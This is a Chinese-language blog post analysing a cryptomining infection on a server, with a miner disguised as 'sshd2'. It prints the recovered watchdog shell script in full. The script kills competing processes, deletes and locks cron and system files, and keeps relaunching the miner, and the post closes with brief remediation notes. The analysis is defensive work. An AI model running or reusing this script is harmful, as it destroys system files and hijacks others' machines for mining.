一个挖矿脚本

遇到一台机器偶尔cpu使用率达到80%,触发告警。登录查看后一个sshd2程序导致cpu负载高

仔细查看就知道和sshd是两个完全不同的进程,取名sshd2应该只是为了迷惑用户

ps -ef查看到父进程是一个/tmp/javax/config.sh, 这个文件在当前系统已经删除了,所以只能按照pid号通过lsof -p PID查看打开的文件句柄
在/proc/PID/fd里面顺利找到执行脚本

#!/bin/sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
while [ 1 ]
do
    p=$(ps auxf|grep -v grep|grep sshd2|wc -l)
    if [ ${p} -eq 0 ];
    then
        ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
    fi
    chattr -i /var/spool/cron/root
    chattr -i /var/spool/cron/crontabs/root
    chattr -i /usr/local/bin/dns
    pkill 6Tx3Wq
    rm -f /tmp/6Tx3Wq
    killall -9 38c985b26d38da0cbcc9f8ae3527e8e3b
    killall -9 /tmp/.sysinfo/*
    rm -f /tmp/.sysinfo/*
    chattr +i /tmp/.sysinfo
    rm -f /var/spool/cron/root
    rm -f /var/spool/cron/backup.db
    rm -f /var/spool/cron/dump.rdb
    rm -f /var/spool/cron/jw
    rm -f /var/spool/cron/uo
    rm -f /var/spool/cron/vf
    rm -f /tmp/root
    rm -f /tmp/backup.db
    rm -f /tmp/dump.rdb
    rm -f /tmp/root
    rm -f /var/spool/cron/crontabs/root
    rm -f /var/spool/cron/crontabs/dump.rdb
    killall -9 kworkerds
    chattr -i /etc/cron.d/root
    chattr -i /etc/cron.d/apache
    chattr -i /etc/cron.d/0hourly
    rm -f /etc/cron.d/root
    rm -f /etc/cron.d/apache
    rm -f /etc/cron.d/0hourly
    rm -f /tmp/kworkerds
    rm -f /var/tmp/kworkerds
    rm -f /etc/cron.hourly/oanacroner
    rm -f /etc/cron.hourly/oanacrona
    rm -f /etc/cron.daily/oanacroner
    rm -f /etc/cron.daily/oanacrona
    rm -f /etc/cron.monthly/oanacroner
    rm -f /usr/local/bin/dns
    pkill .systemcero
    pkill vTtHH
    pkill -f /tmp/just4root
    pkill -f /tmp/just4copy
    pkill -f /tmp/dc_name
    pkill x7
    pkill cloudupdate
    pkill diskmanagerd
    pkill curl
    pkill jspserv
    pkill init
    pkill sysupdate
    pkill sysguard
    pkill networkservice
    pkill watchbog
    rm -f /usr/share/watchbog/watchbog
    rm -f /bin/httpsntp
    rm -f /bin/ftpsntp
    rm -f /tmp/.systemcero
    rm -f /tmp/vTtHH
    rm -f /usr/bin/.systemcero
    rm -f /usr/bin/cloudupdate
    rm -f /usr/bin/diskmanagerd
    rm -f /lib/libterminfo.so
    rm -f /tmp/config.json
    rm -f /var/tmp/jspserv
    rm -f /etc/update.sh
    chattr -i /etc/sysupdate
    rm -f /etc/sysupdate
    rm -f /etc/config.json
    echo >/tmp/6Tx3Wq
    echo >/tmp/vTtHH
    chattr +i /tmp/6Tx3Wq
    chattr +i /tmp/vTtHH
    p=$(ps auxf|grep sshd2|awk '{if($3>=70.0) print $2}')
    name=""$p
    if [ -z "$name" ]
    then
        ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
        nohup /tmp/javax/sshd2 &>>/dev/null &  
    else
         :
    fi
    sleep 60 
done

从脚本的删除动作来看,可能是通过redis的漏洞进来的,脚本似乎还想努力不让监控发现

修复方案
时间短,修复不是我来操作的。初步并没有发现隐藏的激活方式,所以按照上面脚本的内容反向处理一下应该就可以了,注意防范redis的漏洞。

posted @ 2019-08-07 10:56  mikeguan  阅读(4290)  评论(0编辑  收藏  举报